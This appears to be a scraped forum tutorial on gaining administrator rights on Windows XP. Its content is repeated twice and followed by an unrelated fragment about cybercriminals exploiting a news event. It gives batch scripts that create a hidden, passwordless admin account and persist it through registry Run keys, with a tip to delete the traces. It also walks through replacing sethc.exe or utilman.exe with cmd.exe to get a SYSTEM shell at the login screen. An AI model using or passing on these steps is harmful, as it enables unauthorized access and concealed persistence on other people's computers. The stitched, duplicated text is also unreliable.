How to gain administrator rights in an XP box.
1. You can create a .batch file that when u run it it will automatically create a administrative account on your computer.
2. You can use the Sticky Keys exploit. For this to work, sticky keys should be enabled.
Make a copy of cmd.exe, and rename it to sethc.exe. From there, copy the new sethc.exe over the original. Now, press shift 5 times, and instead of sticky keys, you get the command prompt. and remember, sticky keys is installed by DEFAULT, which means any system that doesn't use windows file protection, are vulnerable. After you can press shift 5 times and get the shell, log off. When you are greeted by the login prompt, press shift 5 times to go to the command shell as system admin. Anyone can virtually do anything from there.
Note: Be sure to make a backup of sethc.exe if you want to use sticky keys in the future.
3. You can also use the Utility manager Exploit.
This works like the sticky keys exploit. Basically, its the same concept, in that, you copy cmd.exe from the system32 directory, rename it utilman.exe, and move it back and copy over the original file. This program is run when windows key + U is typed at the login screen. Do it correctly, and you get a system shell.
Note: Be sure to make a backup of utilman.exe if you want to use the utility in the future.
If your not sure what your doing, you probably shouldnt be doing it anyway, and don't blame me if you mess up your PC.
Credits: http://www.symbianize.com/showthread.php?t=23527
1. You can create a .batch file that when u run it it will automatically create a administrative account on your computer.
Quote:
| you can use this code: Code: <font color="Red">@echo off C:\Documents and Settings\All Users\Start Menu\ When the user with the administrator account logs in, the batch file will execute and will make one new admin account with this name >>> Admin or this: Code: <font color="Red">@echo off<br />cls<br />net user Admin /add /expires:never /passwordreq:no<br />net localgroup "Administrators" /add Admin<br />echo Windows Registry Editor Version 5.00> c:\hide.reg<br />echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>> c:\hide.reg<br />echo "%u%"=dword:00000000>> c:\hide.reg<br />REGEDIT /S c:\hide.REG<br />DEL /Q c:\hide.REG<br />exit</font> C:\Documents and Settings\All Users\Start Menu\ When the user with the administrator account logs in, the batch file will execute and will make new admin account with this name >>> Admin, the special thing about this that it will be hidden, if u want to use your new admin account, access it in safe mode.. or this code: Code: <font color="Red">@echo off<br />reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run" /v "WinConfig" /d "net user Admin /add /expires:never /passwordreq:no"<br />reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run" /v "WinConfig2" /d "net localgroup "Administrators" /add Admin"</font> C:\Documents and Settings\All Users\Start Menu\ Note: Dont forget to clean your tracks by deleting the batch file. |
2. You can use the Sticky Keys exploit. For this to work, sticky keys should be enabled.
Make a copy of cmd.exe, and rename it to sethc.exe. From there, copy the new sethc.exe over the original. Now, press shift 5 times, and instead of sticky keys, you get the command prompt. and remember, sticky keys is installed by DEFAULT, which means any system that doesn't use windows file protection, are vulnerable. After you can press shift 5 times and get the shell, log off. When you are greeted by the login prompt, press shift 5 times to go to the command shell as system admin. Anyone can virtually do anything from there.
Note: Be sure to make a backup of sethc.exe if you want to use sticky keys in the future.
3. You can also use the Utility manager Exploit.
This works like the sticky keys exploit. Basically, its the same concept, in that, you copy cmd.exe from the system32 directory, rename it utilman.exe, and move it back and copy over the original file. This program is run when windows key + U is typed at the login screen. Do it correctly, and you get a system shell.
Note: Be sure to make a backup of utilman.exe if you want to use the utility in the future.
If your not sure what your doing, you probably shouldnt be doing it anyway, and don't blame me if you mess up your PC.
Credits: http://www.symbianize.com/showthread.php?t=23527
It has only been a few days since former Philippine president Corazon Aquino died of cardio-respiratory arrest last Saturday (August 1). Cybercriminals are already well on their way to use this event for their own selfish gains.
Download 
